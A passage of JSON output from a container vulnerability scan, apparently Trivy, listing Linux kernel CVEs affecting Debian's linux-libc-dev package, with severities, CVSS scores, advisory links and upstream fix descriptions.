"https://bugzilla.redhat.com/2293685", "https://bugzilla.redhat.com/2297568", "https://bugzilla.redhat.com/2300448", "https://bugzilla.redhat.com/2301543", "https://bugzilla.redhat.com/show_bug.cgi?id=2258012", "https://bugzilla.redhat.com/show_bug.cgi?id=2258013", "https://bugzilla.redhat.com/show_bug.cgi?id=2260038", "https://bugzilla.redhat.com/show_bug.cgi?id=2265799", "https://bugzilla.redhat.com/show_bug.cgi?id=2265838", "https://bugzilla.redhat.com/show_bug.cgi?id=2266358", "https://bugzilla.redhat.com/show_bug.cgi?id=2266750", "https://bugzilla.redhat.com/show_bug.cgi?id=2267036", "https://bugzilla.redhat.com/show_bug.cgi?id=2267041", "https://bugzilla.redhat.com/show_bug.cgi?id=2267795", "https://bugzilla.redhat.com/show_bug.cgi?id=2267916", "https://bugzilla.redhat.com/show_bug.cgi?id=2267925", "https://bugzilla.redhat.com/show_bug.cgi?id=2268295", "https://bugzilla.redhat.com/show_bug.cgi?id=2270103", "https://bugzilla.redhat.com/show_bug.cgi?id=2271648", "https://bugzilla.redhat.com/show_bug.cgi?id=2271796", "https://bugzilla.redhat.com/show_bug.cgi?id=2272793", "https://bugzilla.redhat.com/show_bug.cgi?id=2273141", "https://bugzilla.redhat.com/show_bug.cgi?id=2273148", "https://bugzilla.redhat.com/show_bug.cgi?id=2273180", "https://bugzilla.redhat.com/show_bug.cgi?id=2275558", "https://bugzilla.redhat.com/show_bug.cgi?id=2275661", "https://bugzilla.redhat.com/show_bug.cgi?id=2275690", "https://bugzilla.redhat.com/show_bug.cgi?id=2275742", "https://bugzilla.redhat.com/show_bug.cgi?id=2277171", "https://bugzilla.redhat.com/show_bug.cgi?id=2278220", "https://bugzilla.redhat.com/show_bug.cgi?id=2278270", "https://bugzilla.redhat.com/show_bug.cgi?id=2278447", "https://bugzilla.redhat.com/show_bug.cgi?id=2281217", "https://bugzilla.redhat.com/show_bug.cgi?id=2281317", "https://bugzilla.redhat.com/show_bug.cgi?id=2281704", "https://bugzilla.redhat.com/show_bug.cgi?id=2281720", "https://bugzilla.redhat.com/show_bug.cgi?id=2281807", "https://bugzilla.redhat.com/show_bug.cgi?id=2281847", "https://bugzilla.redhat.com/show_bug.cgi?id=2282324", "https://bugzilla.redhat.com/show_bug.cgi?id=2282345", "https://bugzilla.redhat.com/show_bug.cgi?id=2282354", "https://bugzilla.redhat.com/show_bug.cgi?id=2282355", "https://bugzilla.redhat.com/show_bug.cgi?id=2282356", "https://bugzilla.redhat.com/show_bug.cgi?id=2282357", "https://bugzilla.redhat.com/show_bug.cgi?id=2282366", "https://bugzilla.redhat.com/show_bug.cgi?id=2282401", "https://bugzilla.redhat.com/show_bug.cgi?id=2282422", "https://bugzilla.redhat.com/show_bug.cgi?id=2282440", "https://bugzilla.redhat.com/show_bug.cgi?id=2282508", "https://bugzilla.redhat.com/show_bug.cgi?id=2282511", "https://bugzilla.redhat.com/show_bug.cgi?id=2282648", "https://bugzilla.redhat.com/show_bug.cgi?id=2282669", "https://bugzilla.redhat.com/show_bug.cgi?id=2282676", "https://bugzilla.redhat.com/show_bug.cgi?id=2282757", "https://bugzilla.redhat.com/show_bug.cgi?id=2282764", "https://bugzilla.redhat.com/show_bug.cgi?id=2282851", "https://bugzilla.redhat.com/show_bug.cgi?id=2282890", "https://bugzilla.redhat.com/show_bug.cgi?id=2282903", "https://bugzilla.redhat.com/show_bug.cgi?id=2282918", "https://bugzilla.redhat.com/show_bug.cgi?id=2283389", "https://bugzilla.redhat.com/show_bug.cgi?id=2283424", "https://bugzilla.redhat.com/show_bug.cgi?id=2284271", "https://bugzilla.redhat.com/show_bug.cgi?id=2284511", "https://bugzilla.redhat.com/show_bug.cgi?id=2284515", "https://bugzilla.redhat.com/show_bug.cgi?id=2284545", "https://bugzilla.redhat.com/show_bug.cgi?id=2284596", "https://bugzilla.redhat.com/show_bug.cgi?id=2284628", "https://bugzilla.redhat.com/show_bug.cgi?id=2284630", "https://bugzilla.redhat.com/show_bug.cgi?id=2284634", "https://bugzilla.redhat.com/show_bug.cgi?id=2293247", "https://bugzilla.redhat.com/show_bug.cgi?id=2293270", "https://bugzilla.redhat.com/show_bug.cgi?id=2293273", "https://bugzilla.redhat.com/show_bug.cgi?id=2293304", "https://bugzilla.redhat.com/show_bug.cgi?id=2293377", "https://bugzilla.redhat.com/show_bug.cgi?id=2293408", "https://bugzilla.redhat.com/show_bug.cgi?id=2293414", "https://bugzilla.redhat.com/show_bug.cgi?id=2293423", "https://bugzilla.redhat.com/show_bug.cgi?id=2293440", "https://bugzilla.redhat.com/show_bug.cgi?id=2293441", "https://bugzilla.redhat.com/show_bug.cgi?id=2293658", "https://bugzilla.redhat.com/show_bug.cgi?id=2294313", "https://bugzilla.redhat.com/show_bug.cgi?id=2297471", "https://bugzilla.redhat.com/show_bug.cgi?id=2297473", "https://bugzilla.redhat.com/show_bug.cgi?id=2297478", "https://bugzilla.redhat.com/show_bug.cgi?id=2297488", "https://bugzilla.redhat.com/show_bug.cgi?id=2297495", "https://bugzilla.redhat.com/show_bug.cgi?id=2297496", "https://bugzilla.redhat.com/show_bug.cgi?id=2297513", "https://bugzilla.redhat.com/show_bug.cgi?id=2297515", "https://bugzilla.redhat.com/show_bug.cgi?id=2297525", "https://bugzilla.redhat.com/show_bug.cgi?id=2297538", "https://bugzilla.redhat.com/show_bug.cgi?id=2297542", "https://bugzilla.redhat.com/show_bug.cgi?id=2297543", "https://bugzilla.redhat.com/show_bug.cgi?id=2297544", "https://bugzilla.redhat.com/show_bug.cgi?id=2297556", "https://bugzilla.redhat.com/show_bug.cgi?id=2297561", "https://bugzilla.redhat.com/show_bug.cgi?id=2297562", "https://bugzilla.redhat.com/show_bug.cgi?id=2297572", "https://bugzilla.redhat.com/show_bug.cgi?id=2297573", "https://bugzilla.redhat.com/show_bug.cgi?id=2297579", "https://bugzilla.redhat.com/show_bug.cgi?id=2297581", "https://bugzilla.redhat.com/show_bug.cgi?id=2297582", "https://bugzilla.redhat.com/show_bug.cgi?id=2297589", "https://bugzilla.redhat.com/show_bug.cgi?id=2297706", "https://bugzilla.redhat.com/show_bug.cgi?id=2297909", "https://bugzilla.redhat.com/show_bug.cgi?id=2298079", "https://bugzilla.redhat.com/show_bug.cgi?id=2298140", "https://bugzilla.redhat.com/show_bug.cgi?id=2298177", "https://bugzilla.redhat.com/show_bug.cgi?id=2298640", "https://bugzilla.redhat.com/show_bug.cgi?id=2299240", "https://bugzilla.redhat.com/show_bug.cgi?id=2299336", "https://bugzilla.redhat.com/show_bug.cgi?id=2299452", "https://bugzilla.redhat.com/show_bug.cgi?id=2300296", "https://bugzilla.redhat.com/show_bug.cgi?id=2300297", "https://bugzilla.redhat.com/show_bug.cgi?id=2300381", "https://bugzilla.redhat.com/show_bug.cgi?id=2300402", "https://bugzilla.redhat.com/show_bug.cgi?id=2300407", "https://bugzilla.redhat.com/show_bug.cgi?id=2300408", "https://bugzilla.redhat.com/show_bug.cgi?id=2300409", "https://bugzilla.redhat.com/show_bug.cgi?id=2300410", "https://bugzilla.redhat.com/show_bug.cgi?id=2300414", "https://bugzilla.redhat.com/show_bug.cgi?id=2300429", "https://bugzilla.redhat.com/show_bug.cgi?id=2300430", "https://bugzilla.redhat.com/show_bug.cgi?id=2300434", "https://bugzilla.redhat.com/show_bug.cgi?id=2300439", "https://bugzilla.redhat.com/show_bug.cgi?id=2300440", "https://bugzilla.redhat.com/show_bug.cgi?id=2300448", "https://bugzilla.redhat.com/show_bug.cgi?id=2300453", "https://bugzilla.redhat.com/show_bug.cgi?id=2300492", "https://bugzilla.redhat.com/show_bug.cgi?id=2300533", "https://bugzilla.redhat.com/show_bug.cgi?id=2300552", "https://bugzilla.redhat.com/show_bug.cgi?id=2300709", "https://bugzilla.redhat.com/show_bug.cgi?id=2300713", "https://bugzilla.redhat.com/show_bug.cgi?id=2301477", "https://bugzilla.redhat.com/show_bug.cgi?id=2301489", "https://bugzilla.redhat.com/show_bug.cgi?id=2301496", "https://bugzilla.redhat.com/show_bug.cgi?id=2301519", "https://bugzilla.redhat.com/show_bug.cgi?id=2301522", "https://bugzilla.redhat.com/show_bug.cgi?id=2301543", "https://bugzilla.redhat.com/show_bug.cgi?id=2301544", "https://bugzilla.redhat.com/show_bug.cgi?id=2303077", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47097", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47101", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47287", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47289", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47321", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47338", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47352", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47384", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47393", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47412", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47441", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47455", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47497", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47527", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47609", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48619", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48754", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48760", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48804", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48836", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48866", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49316", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52470", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52478", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52522", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52605", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52683", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52798", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52809", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52840", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6040", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-23848", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26600", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26645", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26649", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26665", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26717", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26720", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26769", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26855", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26880", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26923", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26939", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27013", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27042", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35809", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35877", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35989", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36883", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36901", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36902", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36920", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36922", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36939", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36953", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-37356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38558", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38559", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38570", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38579", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38619", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39471", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39501", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39506", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40901", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40904", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40911", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40912", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40931", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40941", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40954", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40958", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40959", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40960", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40977", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40988", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40989", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40995", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40997", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40998", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41008", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41013", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41023", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41038", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41039", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41040", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41041", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41044", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41055", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41065", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41071", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41076", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41090", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41097", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42084", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42090", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42094", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42096", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42124", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42131", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42152", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42154", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42225", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42226", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42238", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42240", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42265", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42322", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-43830", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-43871", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-45026", "https://errata.almalinux.org/9/ALSA-2024-6997.html", "https://errata.rockylinux.org/RLSA-2024:7000", "https://git.kernel.org/linus/d98779e687726d8f8860f1c54b5687eec5f63a73%20%286.10-rc1%29", "https://git.kernel.org/stable/c/0636b34b44589b142700ac137b5f69802cfe2e37", "https://git.kernel.org/stable/c/501cd8fabf621d10bd4893e37f6ce6c20523c8ca", "https://git.kernel.org/stable/c/94b32a85d1a76ae4f1b42a88677fa20b20187729", "https://git.kernel.org/stable/c/d98779e687726d8f8860f1c54b5687eec5f63a73", "https://git.kernel.org/stable/c/e42e8a24d7f02d28763d16ca7ec5fc6d1f142af0", "https://linux.oracle.com/cve/CVE-2024-38570.html", "https://linux.oracle.com/errata/ELSA-2024-7000.html", "https://lore.kernel.org/linux-cve-announce/2024061956-CVE-2024-38570-a8ef@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-38570", "https://ubuntu.com/security/notices/USN-6949-1", "https://ubuntu.com/security/notices/USN-6949-2", "https://ubuntu.com/security/notices/USN-6952-1", "https://ubuntu.com/security/notices/USN-6952-2", "https://ubuntu.com/security/notices/USN-6955-1", "https://ubuntu.com/security/notices/USN-7021-1", "https://ubuntu.com/security/notices/USN-7021-2", "https://ubuntu.com/security/notices/USN-7021-3", "https://ubuntu.com/security/notices/USN-7021-4", "https://ubuntu.com/security/notices/USN-7021-5", "https://ubuntu.com/security/notices/USN-7022-1", "https://ubuntu.com/security/notices/USN-7022-2", "https://ubuntu.com/security/notices/USN-7022-3", "https://ubuntu.com/security/notices/USN-7028-1", "https://ubuntu.com/security/notices/USN-7028-2", "https://ubuntu.com/security/notices/USN-7039-1", "https://ubuntu.com/security/notices/USN-7119-1", "https://www.cve.org/CVERecord?id=CVE-2024-38570" ], "PublishedDate": "2024-06-19T14:15:17.153Z", "LastModifiedDate": "2026-10-30T13:17:28.71Z" }, { "VulnerabilityID": "CVE-2024-38630", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-38630", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2dc490fb1724b57e07065e7d0b68ae3dc1cf5acdd9463d233c6c390528d4f737", "Title": "kernel: watchdog: cpu5wdt.c: Fix use-after-free bug caused by cpu5wdt_trigger", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwatchdog: cpu5wdt.c: Fix use-after-free bug caused by cpu5wdt_trigger\n\nWhen the cpu5wdt module is removing, the origin code uses del_timer() to\nde-activate the timer. If the timer handler is running, del_timer() could\nnot stop it and will return directly. If the port region is released by\nrelease_region() and then the timer handler cpu5wdt_trigger() calls outb()\nto write into the region that is released, the use-after-free bug will\nhappen.\n\nChange del_timer() to timer_shutdown_sync() in order that the timer handler\ncould be finished before the port region is released.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-38630", "https://git.kernel.org/linus/573601521277119f2e2ba5f28ae6e87fc594f4d4%20%286.10-rc1%29", "https://git.kernel.org/stable/c/573601521277119f2e2ba5f28ae6e87fc594f4d4", "https://git.kernel.org/stable/c/948ed659c0151a605bd126da1e95f350ec5a7956", "https://git.kernel.org/stable/c/9abe50e8492d1accd7d8dc17991179472d3d4573", "https://git.kernel.org/stable/c/9b1c063ffc075abf56f63e55d70b9778ff534314", "https://git.kernel.org/stable/c/f19686d616500cd0d47b30cee82392b53f7f784a", "https://lore.kernel.org/linux-cve-announce/2024062141-CVE-2024-38630-3640@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-38630", "https://ubuntu.com/security/notices/USN-6999-1", "https://ubuntu.com/security/notices/USN-6999-2", "https://ubuntu.com/security/notices/USN-7004-1", "https://ubuntu.com/security/notices/USN-7005-1", "https://ubuntu.com/security/notices/USN-7005-2", "https://ubuntu.com/security/notices/USN-7008-1", "https://ubuntu.com/security/notices/USN-7029-1", "https://ubuntu.com/security/notices/USN-7069-1", "https://ubuntu.com/security/notices/USN-7069-2", "https://ubuntu.com/security/notices/USN-7072-1", "https://ubuntu.com/security/notices/USN-7072-2", "https://ubuntu.com/security/notices/USN-7073-1", "https://ubuntu.com/security/notices/USN-7073-2", "https://ubuntu.com/security/notices/USN-7076-1", "https://ubuntu.com/security/notices/USN-7076-2", "https://ubuntu.com/security/notices/USN-7110-1", "https://ubuntu.com/security/notices/USN-7119-1", "https://www.cve.org/CVERecord?id=CVE-2024-38630" ], "PublishedDate": "2024-06-21T11:15:11.81Z", "LastModifiedDate": "2026-10-30T13:17:29.567Z" }, { "VulnerabilityID": "CVE-2024-41045", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-41045", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6ba59dd8721e1e783255a305a34291cb6e6768e87a0690483b16db46115349b4", "Title": "kernel: bpf: Defer work in bpf_timer_cancel_and_free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Defer work in bpf_timer_cancel_and_free\n\nCurrently, the same case as previous patch (two timer callbacks trying\nto cancel each other) can be invoked through bpf_map_update_elem as\nwell, or more precisely, freeing map elements containing timers. Since\nthis relies on hrtimer_cancel as well, it is prone to the same deadlock\nsituation as the previous patch.\n\nIt would be sufficient to use hrtimer_try_to_cancel to fix this problem,\nas the timer cannot be enqueued after async_cancel_and_free. Once\nasync_cancel_and_free has been done, the timer must be reinitialized\nbefore it can be armed again. The callback running in parallel trying to\narm the timer will fail, and freeing bpf_hrtimer without waiting is\nsufficient (given kfree_rcu), and bpf_timer_cb will return\nHRTIMER_NORESTART, preventing the timer from being rearmed again.\n\nHowever, there exists a UAF scenario where the callback arms the timer\nbefore entering this function, such that if cancellation fails (due to\ntimer callback invoking this routine, or the target timer callback\nrunning concurrently). In such a case, if the timer expiration is\nsignificantly far in the future, the RCU grace period expiration\nhappening before it will free the bpf_hrtimer state and along with it\nthe struct hrtimer, that is enqueued.\n\nHence, it is clear cancellation needs to occur after\nasync_cancel_and_free, and yet it cannot be done inline due to deadlock\nissues. We thus modify bpf_timer_cancel_and_free to defer work to the\nglobal workqueue, adding a work_struct alongside rcu_head (both used at\n_different_ points of time, so can share space).\n\nUpdate existing code comments to reflect the new state of affairs.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-41045", "https://git.kernel.org/linus/a6fcd19d7eac1335eb76bc16b6a66b7f574d1d69%20%286.10%29", "https://git.kernel.org/stable/c/5eaa11c500ed07f505f86cec07d5593a71927e26", "https://git.kernel.org/stable/c/7aa5a19279c3639ae8b758b63f05d0c616a39fa1", "https://git.kernel.org/stable/c/7b27f15cab4c7d4f28c25b94a5284ad6d9d3695d", "https://git.kernel.org/stable/c/a6fcd19d7eac1335eb76bc16b6a66b7f574d1d69", "https://lore.kernel.org/linux-cve-announce/2024072925-CVE-2024-41045-6cc1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-41045", "https://ubuntu.com/security/notices/USN-7089-1", "https://ubuntu.com/security/notices/USN-7089-2", "https://ubuntu.com/security/notices/USN-7089-3", "https://ubuntu.com/security/notices/USN-7089-4", "https://ubuntu.com/security/notices/USN-7089-5", "https://ubuntu.com/security/notices/USN-7089-6", "https://ubuntu.com/security/notices/USN-7089-7", "https://ubuntu.com/security/notices/USN-7090-1", "https://ubuntu.com/security/notices/USN-7095-1", "https://ubuntu.com/security/notices/USN-7156-1", "https://www.cve.org/CVERecord?id=CVE-2024-41045" ], "PublishedDate": "2024-07-29T15:15:12.873Z", "LastModifiedDate": "2026-10-30T13:17:30.927Z" }, { "VulnerabilityID": "CVE-2024-41935", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-41935", "DataSource": { "ID": "debian", "Name": "Debian Security 